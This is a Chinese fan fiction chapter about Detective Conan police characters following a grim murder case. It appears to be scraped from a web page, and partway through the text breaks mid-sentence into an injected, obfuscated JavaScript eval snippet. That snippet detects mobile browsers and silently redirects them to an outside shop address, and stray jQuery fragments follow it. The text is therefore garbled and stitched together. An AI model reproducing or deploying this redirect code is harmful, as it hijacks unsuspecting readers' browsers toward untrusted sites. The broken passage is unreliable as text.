那天最后，是以村田解除武装、投降并被公安后辈们控制住而结束的——虽然在大家的通力协作下，没有酿成更多的悲剧，但是前一天10条人命的惨案以及10个家庭的破碎，终究无法挽回。


    尽管有些波折，案件内情也是那么地令人唏嘘，但能在两天之内迅速侦破如此重大的恶性案件，参与其中的警察们还是相当有成就感的。


    以风见裕也为代表的一部分公安，更是清楚小林哲也在其中起到的作用，原先那点子对他被好事媒体称作“门面担当”而引发的不良印象，也随之转变为——不愧是降谷长官的同期！


    回到办公室，降谷零正略带笑意地想和小林哲也说些什么，没想到却被对方低头避开了，“哲也？”


    “……啊，”小林哲也右手拿着手机飞快地打着字，心不在焉地回复道，“不好意思，降谷，我系里又接到一个棘手的案子……得尽快回去一趟。”


    降谷零心里轻轻叹息，面色却如常地道，“真是可惜，还想请你吃顿饭表示一下感谢呢。”


    “哈，客套这些做什么？”小林哲也哂笑一声，摆了摆手，“回见——当然，最好还是不要有用得上我的地方。”


    “回见。”降谷零目送着小林哲也离开，眼神一点点深邃了起来。


    躲进电梯里后，小林哲也靠在厢体墙壁上，扯松了自己的领带，只觉得自己的太阳穴突突地跳着生疼——降谷零啊降谷零，明明我们配合得这么愉快，就如以往一般作为朋友相处，不好吗？为什么非要搅得大家都心神不宁……


    只不过，在听到降谷零谈及他卧底时期的种种，小林哲也不免为他的遭遇，感到莫大的难过和丝丝缕缕的心疼……


    如果！如果只是单纯的同期好友关系，小林哲也觉得自己不会这么难看地拒绝降谷零的约饭邀请，甚至还会拉上诸伏景光一起，正大光明地关心和开导一下他。


    哎，怎么就……剪不断、理还乱了呢？


    几天后。


    “Hiro，”茶水间里，降谷零端着水杯，走到盯着手机屏幕怔怔出神的诸伏景光身边，（超绝）不经意间问道，“最近你好像状态不是很好……发生了什么事吗？”


    “啊，”诸伏景光连忙回神，颇有些讪讪地道，“抱歉，Zero……”


    “我只是有些担心你。”降谷零截断了诸伏景光的话，“当然，如果你为难的话，也可以不和我说，毕竟你现在……”有了更亲密的伴侣。


    “噢，这倒是没什么。”诸伏景光微微蹙起眉毛，“其实是哲也啦，他最近不仅总是失眠，还没什么胃口……我有问过是不是和他现在侦办的案子有关，还想和他讨论讨论，说不定能帮到点忙？但是他却不愿意告诉我……我就挺担心的。”


    “哦？他居然会受影响到这种程度。”降谷零面上流露出非常自然的惊讶，“我还以为……”


    诸伏景光叹了口气，“别看哲也好像很擅长侦办这类重案，仿佛应该习以为常了……其实他心肠很软，很容易共情——也很容易受到伤害。有的时候，不过是硬撑着罢了。”


    “这样。”降谷零不禁安慰道，“看来只能等到他愿意和你沟通了才……唔，或许Hiro可以抽空整几道新鲜特别的菜色？哲也那家伙，就算心情再怎么不好，吃货的本质是不会变的啦。”


    “有道理！”诸伏景光倏尔一笑，“最近好像到了螃蟹的季节……我得争取快点处理完这摊子事，然后早点下班去水产市场淘一淘了。”


    “啊，”降谷零揉了揉耳朵，“我就当什么都没听见哦。”


    “哈哈哈拜托，Zero！不要装出一副黑心上司的嘴脸啦！”


    “嗯？？”


    回到自己的办公室里，降谷零忙完了手头的又一份报告材料，灌了口茶水，然后鼠标轻点，调出了搜查一课二系目前侦办的案卷资料——身为公安零组的长官，这点监察权限他还是有的——开始浏览。


    强盗杀人、激情杀人、毒杀……这些普通的案件不至于让小林哲也他遭受莫大的心理压力；所以，是剩下的这件……碎尸案吗？


    经过二系人马这段时间的全力侦查，目前进展是……发现了数个不同的DNA，连环案件？唔，居然


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791128|178034||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    除了碎尸，甚至骨头上还有烹煮和人类的齿痕……


    这也难怪了！


    降谷零的脸色带上了些许恍然和复杂。


    哲也他……一定很辛苦吧！要见证这么多人类对自己同类施加的恶意，甚至为了寻找可能的蛛丝马迹，要反复琢磨、仔细体会、不断推敲……真是令人感到敬佩啊。


    就是，搜查一课那边到底怎么回事？总是给哲也分配这么可怕的案件！明明二系和三系、四系等的职责都是调查杀人与伤害案件……


    降谷零把这些材料暂时放到一边——休息时间结束，继续工作吧！


    等回过神来时，窗外已然暮色苍茫、华灯初上。


    降谷零摘下防蓝光用的平光眼镜，闭眼、揉了揉鼻梁，缓解着酸胀的感觉……将窗口切回休息时所查看的页面，诧异而又欣喜地发现——小林哲也他们居然提交了结案报告！


    起身走到办公室门口，向外一张望……果然，Hiro已经下班了啊！


    想必今晚，他们一定会轻松惬意地度过吧……


    降谷零不免有些酸涩地猜测着。


    坐回自己的办公椅内，降谷零一手支着自己的脸颊，一手操作着保存文件、关闭页面等功能……或许是过于疲惫，又或许是鬼使神差，他误点开了追踪小林哲也警用信息设备GPS的功能。


    “……嗯？”降谷零调正了自己的坐姿。


    哲也他，居然还留在警视厅内、没有下班回家吗？


    不应该啊！按照一般惯例，破获了这么一件大案，他们系内不说要一起庆个功之类的，至少也该在提交完报告后，早早回去和家人团聚、放松下紧绷的神经……


    可别出什么事了？


    降谷零自嘲地笑了笑。


    反正自己孤身一人，下班后除了遛狗和锻炼也无事可做……去警视厅那边溜达一下吧？即便被不轻不重地阴阳几句，至少能见到那个人。


    “太危险了！你在做什么，哲也？！”


    ——但，这不代表，降谷零兜了一大圈、最后在天台上找到小林哲也时，他能笑得出来！